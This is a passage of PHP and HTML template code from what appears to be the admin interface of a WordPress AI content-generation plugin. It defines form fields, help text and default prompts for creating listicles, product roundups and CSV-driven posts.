cr_align_middle"><b><?php echo esc_html__("Product Search Keywords / Product ASIN List", 'aiomatic-automatic-ai-content-writer'); ?>*</b>  <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Please provide the a search keyword for Amazon products to be included in the created article. Alternatively, you can provide a comma separated list of product ASINs (ex: B07RZ74VLR,B07RX6FBFR). To create multiple posts from the ASIN lists, add a new comma separated ASIN list to a new line.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></h2> <p class="aiomatic-margin10"> <textarea rows="5" id="aiomatic_roundup" class="coderevolution_gutenberg_input" placeholder="Amazon product search term"></textarea> </p> </div> <div class="inside"> </div></div><!-- /roundupdiv --> <div id="reviewdiv" class="cr_display_none"> <div id="reviewwrap"> <h2 class="top_heading cr_align_middle"><b><?php echo esc_html__("Single Product ASIN or Keyword", 'aiomatic-automatic-ai-content-writer'); ?>*</b>  <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Please provide a single ASIN of an Amazon product (ex: B07RZ74VLR). To create multiple product review posts, add a different ASIN, each on a new line.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></h2> <p class="aiomatic-margin10"> <textarea rows="5" id="aiomatic_review" class="coderevolution_gutenberg_input" placeholder="Amazon product ASIN"></textarea> </p> </div> <div class="inside"> </div></div><!-- /reviewdiv --> <div id="csvdiv" class="cr_display_none"> <div id="csvwrap"> <h2 class="top_heading cr_align_middle"><b><?php echo esc_html__("CSV File URLs List", 'aiomatic-automatic-ai-content-writer'); ?>*</b>  <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Add the URLs of the CSV files from where the plugin will get the details for publishing posts. Add each file URL on a new line.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></h2> <p class="aiomatic-margin10"> <textarea rows="5" id="csv_title" name="csv_title" placeholder="CSV file URL" class="coderevolution_gutenberg_input"></textarea> </p> </div> <div class="inside"> </div></div><!-- /csvdiv --> <div id="advanceddiv"> <div id="advancedwrap"> <h2 class="top_heading cr_align_middle"><b><?php echo esc_html__("More Options", 'aiomatic-automatic-ai-content-writer'); ?></b>  <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Shows advanced settings for this rule.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></h2> <p class="aiomatic-middle aiomatic-margin10"><button id="aiomatic-advanced-button" class="coderevolution_gutenberg_input button dbutton-large"><?php echo esc_html__("Settings", 'aiomatic-automatic-ai-content-writer');?></button></p> </div> <div class="inside"> </div></div><!-- /advanceddiv --> <div id="generatediv"> <div id="generatewrap"> <h2 class="top_heading cr_align_middle"><b><?php echo esc_html__("Start Processing", 'aiomatic-automatic-ai-content-writer'); ?></b>  <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Click this button to start processing and create the content and title of the post.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></h2> <p class="aiomatic-middle aiomatic-margin10"><button id="aiomatic-generate-button" class="coderevolution_gutenberg_input button button-primary button-large"><?php echo esc_html__("Generate Title And Content", 'aiomatic-automatic-ai-content-writer');?></button></p> <div id="aiomaticloader" class="aiomaticloader cr_hidden"></div> </div> <div id="aiomatic-status-loader" class="inside cr_center"> </div></div><!-- /generatediv --> <div id="mymodalfzr5" class="codemodalfzr"> <div class="codemodalfzr-content"> <div class="codemodalfzr-header"> <span id="aiomatic_close5" class="codeclosefzr">×</span> <h2><span class="cr_color_white"><?php echo esc_html__("CSV File", 'aiomatic-automatic-ai-content-writer');?></span> <?php echo esc_html__("Advanced Settings", 'aiomatic-automatic-ai-content-writer');?></h2> </div> <div class="codemodalfzr-body"> <div class="table-responsive"> <table class="responsive table cr_main_table_nowr"> <tr><td colspan="2"> <h3><?php echo esc_html__("CSV File Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the separator of the CSV file. It is usually auto detected, however, if you have issues with auto detection, you can set the CSV separator here.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("CSV File Separator (Optional):", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" id="csv_separator5" name="csv_separator" value="" placeholder="Optional, leave empty if not sure" class="valuesai5 cr_width_full"> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Posting Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("The AI writer might add the title of the post to the created post content. Check this checkbox if you want to remove the title from the post content.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Strip Title From Content:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="strip_title5" name="strip_title" class="valuesai5"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"><?php echo esc_html__("Do you want to skip spinning of posts generated by this rule?", 'aiomatic-automatic-ai-content-writer');?> </div> </div> <b><?php echo esc_html__("Do Not Spin Posts Generated By This Rule:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="skip_spin5" name="skip_spin" class="valuesai5"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"><?php echo esc_html__("Do you want to skip translating of posts generated by this rule?", 'aiomatic-automatic-ai-content-writer');?> </div> </div> <b><?php echo esc_html__("Do Not Translate Posts Generated By This Rule:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="skip_translate5" name="skip_translate" class="valuesai5"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to randomize CSV row processing order or do you want to process the lines in their order of appearence?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Randomize CSV Row Processing Order:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="random_order5" name="random_order" class="valuesai5"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Run regex on post content. To disable this feature, leave this field blank. No Regex separators are required here. You can add multiple Regex expressions, each on a different line.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Run Regex On Content:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="1" id="strip_by_regex5" name="strip_by_regex" placeholder="regex expression" class="valuesai5 cr_width_full"></textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Replace the above regex matches with this regex expression. If you want to strip matched content, leave this field blank. No Regex separators are required here. You can add multiple replacement expressions, each on a different line.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Replace Matches From Regex (Content):", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="1" id="replace_regex5" name="replace_regex" placeholder="regex replacement" class="valuesai5 cr_width_full"></textarea> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Automatic Linking Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the linking method to use in posts.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Automatic Linking Type:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" class="valuesai5 cr_width_full" id="link_type5" onchange="hideLinks('');" name="link_type"> <option value="disabled" selected><?php echo esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer');?></option> <option value="internal"><?php echo esc_html__("Internal Links", 'aiomatic-automatic-ai-content-writer');?></option> <option value="manual"><?php echo esc_html__("Manual Links", 'aiomatic-automatic-ai-content-writer');?></option> <option value="mixed"><?php echo esc_html__("Mixed Links", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum number of automatic links to add to created posts. You can also define custom ranges, like: 3-5. Please note that this feature will work best if you already have a considerable number of posts published on your site, which will be used for internal linking.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Maximum Number Of Automatic Links To Add To The Post Content:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" name="max_links" id="max_links5" placeholder="3-5" class="valuesai5 cr_width_full"> </td> </tr> <tr class="hidelinks"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Enter a manual list of links, where the plugin will create links.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Manual List Of URLs (One Per Line):", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="1" cols="70" name="link_list" id="link_list5" placeholder="URL list (one per line)" class="valuesai5 cr_width_full"></textarea> </td> </tr> <tr class="hidelinks"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to add nofollow attribute to manually entered, external links?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add Nofollow Attribute To Manual Links:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="link_nofollow5" name="link_nofollow" class="valuesai5"> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the post types where to create automatic links in posts. You can also add a comma separated list of multiple post types.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Post Types Where To Generate Automatic Links:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" name="link_post_types" id="link_post_types5" placeholder="post" class="valuesai5 cr_width_full"> </td> </tr> </table> </div> </div> <div class="codemodalfzr-footer"> <br/> <h3 class="cr_inline">Aiomatic Automatic Post Generator</h3> <span id="aiomatic_ok5" class="codeokfzr cr_inline">OK </span> <br/><br/> </div> </div> </div> <div id="mymodalfzr6" class="codemodalfzr"> <div class="codemodalfzr-content"> <div class="codemodalfzr-header"> <span id="aiomatic_close6" class="codeclosefzr">×</span> <h2><span class="cr_color_white"><?php echo esc_html__("Listicle Article", 'aiomatic-automatic-ai-content-writer');?></span> <?php echo esc_html__("Advanced Settings", 'aiomatic-automatic-ai-content-writer');?></h2> </div> <div class="codemodalfzr-body"> <div class="table-responsive"> <table class="responsive table cr_main_table_nowr"> <tr><td colspan="2"> <h3><?php echo esc_html__("AI Assistant Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Assistant to use for content creation. This will disable the ability to select AI models, as the models assisgned to the assistant will be used for content creation.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Assistant Name:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td><select id="assistant_id6" name="assistant_id" class="valuesai6 cr_width_full" onchange="assistantSelected('6');"> <?php if($all_assistants === false) { echo '<option val="" selected disabled>' . esc_html__("Only OpenAI API is supported for Assistants API", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { if(count($all_assistants) == 0) { echo '<option val="" selected disabled>' . esc_html__("No Assistans added, go to the plugin's 'AI Assistans' menu to add new assistants!", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { echo '<option value="" selected'; echo '>' . esc_html__("Don't use assistants, use AI models instead", 'aiomatic-automatic-ai-content-writer') . '</option>'; foreach($all_assistants as $myassistant) { echo '<option value="' . $myassistant->ID .'"'; echo '>' . esc_html($myassistant->post_title); echo '</option>'; } } } ?> </select> </td> </tr> <tr class="hidetopic"><td colspan="2"> <h3><?php echo esc_html__("Listicle Article Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr class="hidetopic"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the method to be used for the title generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Title Generator Method:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" class="valuesai6 cr_width_full" id="title_generator_method6" name="title_generator_method"> <option value="ai" selected><?php echo esc_html__("AI Writer", 'aiomatic-automatic-ai-content-writer');?></option> <option value="serp"><?php echo esc_html__("Related SERP Searches", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr class="hidetopic"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Enter a list of post sections, one per line. These will be headings of the content. These can also be automatically generated by the plugin. To enable auto generating of sections, leave this field blank. You can use here the %%topic%% shortcode, to get the value of the above topic, automtically. This will set the value of the %%sections%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. If you set a section list here, each created article will have this same list of sections, because of this, use shortcodes or Spintax when defining these static topics or leave this field blank for the plugin to auto generate them!", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Post Sections List (Optional):", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="post_sections_list" id="post_sections_list6" placeholder="Post sections list (one per line)" class="valuesai6 cr_width_full"></textarea> </td> </tr> <tr class="hidetopic"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Enter the number of listicle entries to create in the article. These will also be set as article headings. You can also set value ranges, example: 5-7. In this case, a random number will be selected in this range. Please use only numeric values in this field. This field will set the value of the %%sections_count%% shortcode.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Number Of Listicle Entries To Generate:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <input type="text" id="section_count6" name="section_count" placeholder="3-4" class="valuesai6 cr_width_full" value="3-4"> </td> </tr> <tr class="hidetopic"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select what you want to do with listicle entries in articles.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add Listicle Entries To Content As:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" class="valuesai6 cr_width_full" id="sections_role6" name="sections_role"> <option value="h2" selected><?php echo esc_html__("h2", 'aiomatic-automatic-ai-content-writer');?></option> <option value="h3"><?php echo esc_html__("h3", 'aiomatic-automatic-ai-content-writer');?></option> <option value="b"><?php echo esc_html__("Bold", 'aiomatic-automatic-ai-content-writer');?></option> <option value="i"><?php echo esc_html__("Italic", 'aiomatic-automatic-ai-content-writer');?></option> <option value="bi"><?php echo esc_html__("Bold and Italic", 'aiomatic-automatic-ai-content-writer');?></option> <option value="p"><?php echo esc_html__("Paragraph", 'aiomatic-automatic-ai-content-writer');?></option> <option value="x"><?php echo esc_html__("Plain Text", 'aiomatic-automatic-ai-content-writer');?></option> <option value="no"><?php echo esc_html__("Don't Add Sections", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr class="hidetopic"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Enter the number of paragraphs to create for each Listicle Entry. These will also be set as article headings. You can also set value ranges, example: 5-7. In this case, a random number will be selected in this range. Please use only numeric values in this field. This field will set the value of the %%paragraphs_per_section%% shortcode.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Number Of Paragraphs Per Listicle Entry:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <input type="text" id="paragraph_count6" name="paragraph_count" placeholder="2-3" class="valuesai6 cr_width_full" value="2"> </td> </tr> <tr class="hidetopic"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the number of related images to add to the created post content. This feature will use the royalty free image sources configured in the plugin's 'Settings' menu or if you have access to the DallE API. You can change image source in the 'AI Image Source' settings field from below. The maximum number of images you can add to each article: number of sections + 2", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Number of Images To Add To The Article:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" name="topic_images" id="topic_images6" value="" placeholder="Number of images" class="valuesai6 cr_width_full"> </td> </tr> <tr class="hidetopic"> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to add an image to each of the creating headings from the article.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add An Image To Each Heading Of The Article:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="img_all_headings6" name="img_all_headings" class="valuesai6" checked> </td> </tr> <tr class="hidetopic"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the location of the heading images.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Heading Image Location:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="heading_img_location6" name="heading_img_location" class="valuesai6 cr_width_full"> <option value="top" selected><?php echo esc_html__("Top of the section", 'aiomatic-automatic-ai-content-writer');?></option> <option value="heading"><?php echo esc_html__("Under the heading text", 'aiomatic-automatic-ai-content-writer');?></option> <option value="bottom"><?php echo esc_html__("Bottom of the section", 'aiomatic-automatic-ai-content-writer');?></option> <option value="random"><?php echo esc_html__("Random", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr class="hidetopic"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the number of related YouTube videos to add to the created post content. The maximum number of videos you can add to each article: number of sections", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Number of YouTube Videos To Add To The Article:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="0" name="topic_videos" id="topic_videos6" value="" placeholder="Number of videos" class="valuesai6 cr_width_full"> </td> </tr> <tr class="hidetopic"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the text of the outro section header. This is optional.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Outro Section Header Text:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" name="title_outro" id="title_outro6" value="{In Conclusion|To Conclude|In Summary|To Wrap It Up|Key Takeaways|Future Outlook|Closing Remarks|The Conclusion|Final Thoughts|In Retrospect|The Way Forward|Wrapping Up|Concluding Remarks|Insights and Conclusions}" placeholder="Optional" class="valuesai6 cr_width_full"> </td> </tr> <tr class="hidetopic"> <td class="hideTOC-1"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to add a Table of Contents section to the created post.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add Article Table Of Contents:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="hideTOC-1"> <input type="checkbox" id="enable_toc6" name="enable_toc" class="valuesai6"> </td> </tr> <tr class="hidetopic"> <td class="hideTOC-1"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the text of the Table of Contents section header. Default is: Table of Contents", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Table Of Contents Section Header Text:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="hideTOC-1"> <input type="text" name="title_toc" id="title_toc6" value="Table of Contents" placeholder="Table of Contents" class="valuesai6 cr_width_full"> </td> </tr> <tr class="hidetopic"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to add a Q&A section to the created post. To enable Q&A for articles, be sure to add a prompt also in the 'Article Q&A Prompt' settings field from below.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add Article Q&A Section:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="enable_qa6" name="enable_qa" class="valuesai6"> </td> </tr> <tr class="hidetopic"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the text of the Q&A section header. Default is: Q&A", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Q&A Section Header Text:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" id="title_qa6" name="title_qa" value="Q&A" placeholder="Q&A" class="valuesai6 cr_width_full"> </td> </tr> <tr class="hidetopic"><td colspan="2"> <h4><?php echo esc_html__("Content Parameters", 'aiomatic-automatic-ai-content-writer');?>:</h4> </td></tr> <tr class="hidetopic"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the language of the created content. This will set the value of the %%language%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Content Language:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input id="content_language6" name="content_language" type="text" list="languages6" placeholder="Created content language" class="valuesai6 coderevolution_gutenberg_input" value="English"/> <datalist id="languages6"> <?php foreach($aiomatic_language_names as $ln) { echo '<option>' . $ln . '</option>'; } ?> </datalist> </td> </tr> <tr class="hidetopic"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the writing style of the created content. This will set the value of the %%writing_style%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Writing Style:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input id="writing_style6" name="writing_style" type="text" placeholder="Created content writing style" list="writing_styles6" class="valuesai6 coderevolution_gutenberg_input" value="Creative"/> <datalist id="writing_styles6"> <option>Informative</option> <option>Academic</option> <option>Descriptive</option> <option>Detailed</option> <option>Dramative</option> <option>Fiction</option> <option>Expository</option> <option>Historical</option> <option>Dialogue</option> <option>Creative</option> <option>Critical</option> <option>Narrative</option> <option>Persuasive</option> <option>Reflective</option> <option>Argumentative</option> <option>Analytical</option> <option>Blog</option> <option>News</option> <option>Casual</option> <option>Pastoral</option> <option>Personal</option> <option>Poetic</option> <option>Satirical</option> <option>Sensory</option> <option>Articulate</option> <option>Monologue</option> <option>Colloquial</option> <option>Comparative</option> <option>Concise</option> <option>Biographical</option> <option>Anecdotal</option> <option>Evaluative</option> <option>Letter</option> <option>Lyrical</option> <option>Simple</option> <option>Vivid</option> <option>Journalistic</option> <option>Technical</option> <option>Direct</option> <option>Emotional</option> <option>Metaphorical</option> <option>Objective</option> <option>Rhetorical</option> <option>Theoretical</option> <option>Business</option> <option>Report</option> <option>Research</option> </datalist> </td> </tr> <tr class="hidetopic"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the writing tone of the created content. This will set the value of the %%writing_tone%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Writing Tone:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input id="writing_tone6" name="writing_tone" type="text" list="writing_tones6" placeholder="Created content writing tone" class="valuesai6 coderevolution_gutenberg_input" value="Neutral"/> <datalist id="writing_tones6"> <option>Neutral</option> <option>Formal</option> <option>Assertive</option> <option>Cheerful</option> <option>Humorous</option> <option>Informal</option> <option>Inspirational</option> <option>Professional</option> <option>Emotional</option> <option>Persuasive</option> <option>Supportive</option> <option>Sarcastic</option> <option>Condescending</option> <option>Skeptical</option> <option>Narrative</option> <option>Journalistic</option> <option>Conversational</option> <option>Factual</option> <option>Friendly</option> <option>Polite</option> <option>Scientific</option> <option>Sensitive</option> <option>Sincere</option> <option>Curious</option> <option>Dissapointed</option> <option>Encouraging</option> <option>Optimistic</option> <option>Surprised</option> <option>Worried</option> <option>Confident</option> <option>Authoritative</option> <option>Nostalgic</option> <option>Sympathetic</option> <option>Suspenseful</option> <option>Romantic</option> <option>Serious</option> </datalist> </td> </tr> <tr class="hidetopic"><td colspan="2"> <h4><?php echo esc_html__("Prompts", 'aiomatic-automatic-ai-content-writer');?>:</h4> </td></tr> <tr class="hidetopic"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the Post Title. You can use the following shortcodes: %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%title%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Title Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="title_prompt" id="title_prompt6" placeholder="Enter your title prompts, one per line" class="valuesai6 cr_width_full">Write a title for a listicle about "%%topic%%" in %%language%%. The listicle will include %%sections_count%% items. Style: %%writing_style%%. Tone: %%writing_tone%%. Include a specific number in the title to indicate a list. Must be between 40 and 60 characters.</textarea> </td> </tr> <tr class="hidetopic"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the title generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Title Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_title_model6" name="topic_title_model" class="hideAssistant6 valuesai6 cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr class="hidetopic"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the intro of the article. You can use 